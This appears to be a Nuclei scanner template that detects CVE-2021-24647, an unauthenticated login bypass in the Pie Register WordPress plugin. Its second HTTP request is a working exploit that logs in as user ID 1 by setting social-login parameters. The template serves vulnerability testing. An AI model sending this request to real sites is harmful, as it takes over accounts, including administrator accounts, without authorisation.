Pie Register < 3.7.1.6 - Unauthenticated Arbitrary Login

id: CVE-2021-24647

info:
  name: Pie Register < 3.7.1.6 - Unauthenticated Arbitrary Login
  author: DhiyaneshDK
  severity: high
  description: |
    The Registration Forms  User profile, Content Restriction, Spam Protection, Payment Gateways, Invitation Codes WordPress plugin before 3.1.7.6 has a flaw in the social login implementation, allowing unauthenticated attacker to login as any user on the site by only knowing their user ID or username
  impact: |
    An attacker can gain unauthorized access to the WordPress site and potentially compromise sensitive information.
  remediation: Fixed in version 3.7.1.6
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24647
    - https://github.com/RandomRobbieBF/CVE-2021-24647
    - https://wpscan.com/vulnerability/40d347b1-b86e-477d-b4c6-da105935ce37
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2021-24647
    cwe-id: CWE-287
    epss-score: 0.20385
    epss-percentile: 0.96356
    cpe: cpe:2.3:a:genetechsolutions:pie_register:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: genetechsolutions
    product: pie_register
    framework: wordpress
  tags: cve,cve2021,unauth,pie-register,wpscan,wp-plugin,wordpress,wp,genetechsolutions

http:
  - raw:
      - |
        GET /wp-content/plugins/pie-register/readme.txt HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{randstr}}&pwd={{randstr}}&social_site=true&user_id_social_site=1&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/profile.php HTTP/2
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(body_1, "pieregister")'
          - 'contains(body_3, "Username") && contains(body_3, "email-description")'
        condition: and
# digest: 4a0a00473045022100b653f536091e0603e57af8a247f5ce9ccc9a68ab71dc37adc2803c35340e3cd902206f6510618f90482cfba44e12b47d8a6e08a7a9223dac740fd1d2186345e92be7:922c64590222798bb761d5b6d8e72950